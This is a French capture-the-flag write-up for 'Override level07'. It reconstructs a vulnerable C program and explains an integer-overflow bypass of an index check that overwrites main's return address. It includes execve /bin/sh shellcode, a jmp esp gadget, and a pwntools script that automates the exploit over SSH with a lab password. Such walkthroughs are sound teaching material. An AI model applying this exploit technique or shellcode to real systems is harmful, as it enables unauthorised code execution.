7. *Level 07*

```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void        clear_stdin(void)
{
    int    tmp;

    tmp = getchar();
    while ((char)tmp != -1)
    {
        if ((char)tmp == '\n')
            return ;
    }
    return ;
}

unsigned int    get_unum(void)
{
    unsigned int result = 0;

    fflush(stdout);
    scanf("%u", &result);
    clear_stdin();
    return (result);
}

int    store_number(char *buff)
{
    unsigned int    n   = 0x0;                  // [ebp-0x10]
    unsigned int    n2  = 0x0;                  // [ebp-0xc]

    printf(" Number: ");
    n = get_unum();
    printf(" Index: ");
    n2 = get_unum();

    unsigned int tmp_1 = ((uint64_t)n2 * 0xaaaaaaab) >> 32;
    tmp_1 = tmp_1 >> 1;
    unsigned int tmp_2 = tmp_1 + tmp_1;
    tmp_2 += tmp_1;
    unsigned int tmp_3 = n2 - tmp_2;
    // Equivalent to : tmp_3 = n2 % 3
    if (tmp_3 == 0 || (n >> 24) == 0xb7)
    {
        puts(" *** ERROR! ***");
        puts("   This index is reserved for wil!");
```

```
        puts(" *** ERROR! ***");
        return (1);
    }

    buff[n2 * 4] = n;
    return (0);
}

int    read_number(char *buff)
{
    unsigned int    index = 0x0;                // [ebp-0xc]
    printf(" Index: ");
    index = get_unum();
    printf(" Number at data[%u] is %u\n", index, buff[index * 4]);
    return (0);
}

int    main(int argc, char **argv)
{
    char          **av        = argv;                // [esp+0x1c]
    char          **av_4      = argv + 0x4;          // [esp+0x18]
    unsigned int  n           = 0x14;                // [esp+0x1cc]
    unsigned int  v1          = 0x0;                 // [esp+0x1b4]
    char          cmd[20];                           // [esp+0x1b8]
    char          buff[100];                         // [esp+0x24]

    for (int i = 0; i < 100; i++)
        buff[i] = 0;
    for (int i = 0; i < 20; i++)
        cmd[i] = 0;

    while (*av != 0)
    {
        int len = 0;
        while (av[0][len] != 0)
            len++;
        memset(av[0], 0, len);
        av++;
    }

    while (*av_4 != 0)
    {
        int len = 0;
        while (av_4[0][len] != 0)
            len++;
        memset(av_4[0], 0, len);
        av_4++;
    }

    puts("----------------------------------------------------\n Welcome to
wil's crappy number storage service!
```

```
\n----------------------------------------------------\n Commands:
\n store - store a number into the data storage    \n    read  - read a number
from the data storage     \n    quit  - exit the
program
\n----------------------------------------------------\n wil has reserved some
storage :>
\n----------------------------------------------------\n");

    while (1)
    {
        printf("Input command: ");
        v1 = 0x1;
        fgets(cmd, 20, stdin);

        int size = 0;
        while (cmd[size+1])
            size++;
        cmd[size] = '\0';

        int i = 0;
        char *store = "store";
        while (i < 5 && cmd[i] == store[i])
            i++;
        if (i == 5)
            v1 = store_number(buff);

        i = 0;
        char *read = "read";
        while (i < 4 && cmd[i] == read[i])
            i++;
        if (i == 4)
            v1 = read_number(buff);

        i = 0;
        char *quit = "quit";
        while (i < 4 && cmd[i] == quit[i])
            i++;
        if (i == 4)
            return (0);

        if (v1 != 0)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        for (int i = 0; i < 20; i++)
            cmd[i] = 0;
    }

    return (0);
}
```

Voici le code source qu'on a réussit à reconstituer. L'idée générale du programme est la suivante :

> On commence par supprimer l'intégralité des arguments en ligne de commande du programme ainsi que l'intégralité des variables d'environnement sur la stack.

> On affiche un message d'explication du programme. En gros, celui-ci alloue un **buffer[100]** et permet d'y stocker des chiffres ainsi que de lire les chiffres qui y sont stockés.

> Pour stocker des chiffres, la fonction **store_number** est appelée dès lors que l'utilisateur entre la commande **store**. On demande un chiffre (**n**), un index (**n2**), puis on stock le chiffre **n** à l'index du tableau **buff[100] n2 * 4** (on multiplie par 4 car il s'agit d'un tableau de char et on stock des unsigned int).

Attention, certains index sont interdits : les index pour lesquels **index % 3** est égal à 0. Certains chiffres sont interdits : les chiffres qui commencent par **0xb7**.

> La fonction **read_number** est assez simple et peu intéressante pour nous.

Au niveau de la reconstruction du code source, la seule difficulté résidait encore dans la syntaxe assembly du **modulo**, qui est toujours un peu alambiquée. Comme dans le level précédent (**Override – level06**) l'instruction **mul** est appelée et seuls les 16 upper bits sont utilisés ; on le simule par un bit shift de 32 sur un uint64_t.

A part ça, on s'aperçoit assez vite que le programme nous offre un **arbitrary write** sur les cases mémoires qui suivent le tableau **buff[100]** en mémoire. En effet, on peut écrire des entiers aux cases mémoires **buff[n2 * 4]**, et on contrôle la variable **n2** qui est un input utilisateur, sans qu'elle ait une limite supérieure.

En effet, dans un débugguer sur la machine cible on voit que le **buff[100]** qui stocke nos chiffres se situe à l'adresse `0xffffd554` ; le buffer se termine donc logiquement vers `0xffffd5b8` (+0x64 == 100 bytes). Imaginons cependant qu'on veuille écrire dans la mémoire sur la stack **460** bytes plus loin. On donne l'index **115**, et on voit qu'on a en effet écrit à l'adresse `0xffffd554 + 460 = 0xffffd720`, bien après la fin du tableau (on écrit le chiffre 11184810, i.e. 0xaaaaaa) :

```
0xffffd6a0:     0x0     0x0     0x0     0x0
0xffffd6b0:     0x0     0x0     0x0     0x0
0xffffd6c0:     0x0     0x0     0x0     0x0
0xffffd6d0:     0x0     0x0     0x0     0x0
0xffffd6e0:     0x0     0x0     0x726f7473      0x65
0xffffd6f0:     0x0     0x0     0x0     0xefc1a900
0xffffd700:     0xf7feb620      0x0     0x8048a09 <__libc_csu_init+9>   0xf7fceff4
0xffffd710:     0x0     0x0     0x0     0xf7e45513
0xffffd720:     0xaaaaaa        0xffffd7b4      0xffffd7bc      0xf7fd3000
0xffffd730:     0x0     0xffffd71c
```

Puisque **buff[100]** a été déclaré dans la fonction **main**, l'idée est donc simplement d'overwrite l'adresse de retour de cette fonction main avec le mécanisme décrit ci-dessus. D'ailleurs, on se rend compte que l'adresse de retour serait écrasée avec l'offset **114** (**buff[100]** + 456 bytes).

Le problème est précisément que **114 % 3** est égal à 0, et donc qu'on ne peut inscrire cet index (on nous renverra que l'emplacement est réservé par wil). Il nous faut un moyen de contourner cette

sécurité.

En gros, il faut que **n2 * 4**, lorsque considéré comme un **unsigned int**, soit égal à **114** ; mais lui faire adopter une autre représentation binaire que celle de simplement 114 :
00000000000000000000000001110010 (32 bits unsigned)

On peut en réalité donner un **chiffre négatif** à notre fonction scanf qui aura une représentation binaire différente, mais qui, multiplié par 4, nous donnera en tant que **unsigned int** bien la valeur **456**.

On crée un petit programme pour nous aider à trouver ce fameux chiffre :

```
→ level07 cat test.c
#include <stdio.h>

int     main(int argc, char **argv)
{
        unsigned int n = 0x0;
        scanf("%u", &n);

        printf("[*] As unsigned :       %u\n", n * 4);
        printf("[*] As signed :         %d\n", n * 4);


        return (0);
}
```

Après un peu de trial and error, on trouve une valeur qui semble correspondre à ce qu'on cherche :

```
→ level07 ./testing
-2147483534
[*] As unsigned :       456
[*] As signed :         456
```

On peut désormais tranquillement overwrite l'adresse de retour avec cet index qui vaut 114 mais échappe à la limitation du % 3 :

```
(gdb) run
Starting program: /home/users/level07/level07
----------------------------------------------------
  Welcome to wil's crappy number storage service!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   wil has reserved some storage :>
----------------------------------------------------

Input command: store
 Number: 2863311530 ( = 0xaaaaaaaa)
 Index: -2147483534 ( = index 114)
 Completed store command successfully
Input command: quit

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
```

On contrôle ainsi le flux d'exécution du programme. Vers quelle adresse veut-on renvoyer ? Puisque tous nos arguments de programme et nos variables d'environnement ont été supprimées, on ne peut pas s'en servir pour accueillir notre shellcode. Mais de toutes façons, il y a ici une solution bien plus propre ; la pile est exécutable, et on a un arbitrary write.

Il suffit ainsi d'overwrite l'adresse de retour de main avec un **gadget jmp esp** et d'écrire notre payload, 4 bytes par 4 bytes, juste après l'adresse de retour écrasée (aux index 115, 116...). Notre gadget fera revenir l'exécution précisément sur cet emplacement mémoire et exécutera notre shellcode.

Le seul truc un peu pénible est qu'il faut inscrire notre shellcode par le biais du système de stockage de chiffre, donc sous la forme d'**integers** ; et qu'il faut faire attention à ne pas utiliser les index pour lesquels **% 3 = 0** et les convertir en chiffres négatifs. On prend un payload avec un shellcode classique **system("/bin/sh")**, on le sépare en chiffres, puis on affiche ces chiffres en tant que **int** ainsi que les index auxquels nous devons les écrire :

```python
from pwn import *

### INFORMATIONS ###

# >> Overwriting return address
# Index to overwrite return address :   -2147483534
# jmp esp gadget @ 0xf7e67610
# Number to redirect to jmp esp gadget : 4158843477

a = 0x6850c031
b = 0x68732f2f
c = 0x69622f68
d = 0x89e3896e
e = 0xb0c289c1
f = 0x3180cd0b
g = 0x80cd40c0
```

```
print("Number : " + str(4158843477) + " | Index : " + str(-2147483534))
print("Number : " + str(a) + " | Index : " + str(115))
print("Number : " + str(b) + " | Index : " + str(116))
print("Number : " + str(c) + " | Index : " + str(-2147483531))
print("Number : " + str(d) + " | Index : " + str(118))
print("Number : " + str(e) + " | Index : " + str(119))
print("Number : " + str(f) + " | Index : " + str(-2147483528))
print("Number : " + str(g) + " | Index : " + str(121))
```

On exécute :

```
→ level07 python3 exploit.py
Number : 4158843477 | Index : -2147483534 0xf7e67610 (jmp esp)
Number : 1750122545 | Index : 115    \x31\xc0\x50\x68
Number : 1752379183 | Index : 116    rest of payload...
Number : 1768042344 | Index : -2147483531
Number : 2313390446 | Index : 118
Number : 2965539265 | Index : 119
Number : 830524683 | Index : -2147483528
Number : 2160935104 | Index : 121
```

Puis on entre ces valeurs une par une, ce qui, lorsqu'on appelle **quit** qui indique à la fonction **main** de **return**, nous donne bien une shell :

```
 Completed store command successfully
Input command: store
 Number: 830524683
 Index: -2147483528
 Completed store command successfully
Input command: store
 Number: 2160935104
 Index: 121
 Completed store command successfully
Input command: quit
process 1611 is executing new program: /bin/dash
warning: Selected architecture i386:x86-64 is not
Architecture of file not recognized.
(gdb)
```

>> Exploitation manuelle

> Utiliser **exploit.py** afin de générer les nombres et les indexes correspondants.
> Exécuter **level07** sur la machine cible.
> Entrer les nombres et indexes correspondants 1 par 1.
> Entrer **quit**.

>> Exploit automatique

```python
from pwn import *

a = 0x6850c031
b = 0x68732f2f
c = 0x69622f68
d = 0x89e3896e
e = 0xb0c289c1
f = 0x3180cd0b
g = 0x80cd40c0

s = ssh(host="192.168.1.3", port=4242, user="level07",
password="GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8")
p = s.process("/home/users/level07/./level07")

p.sendline(b'store')
p.sendline(str(4158843477).encode())
p.sendline(str(-2147483534).encode())

p.sendline(b'store')
p.sendline(str(a).encode())
p.sendline(str(115).encode())

p.sendline(b'store')
p.sendline(str(b).encode())
p.sendline(str(116).encode())

p.sendline(b'store')
p.sendline(str(c).encode())
p.sendline(str(-2147483531).encode())

p.sendline(b'store')
p.sendline(str(d).encode())
p.sendline(str(118).encode())

p.sendline(b'store')
p.sendline(str(e).encode())
p.sendline(str(119).encode())

p.sendline(b'store')
p.sendline(str(f).encode())
p.sendline(str(-2147483528).encode())

p.sendline(b'store')
p.sendline(str(g).encode())
p.sendline(str(121).encode())

p.sendline(b'quit')

p.interactive()
```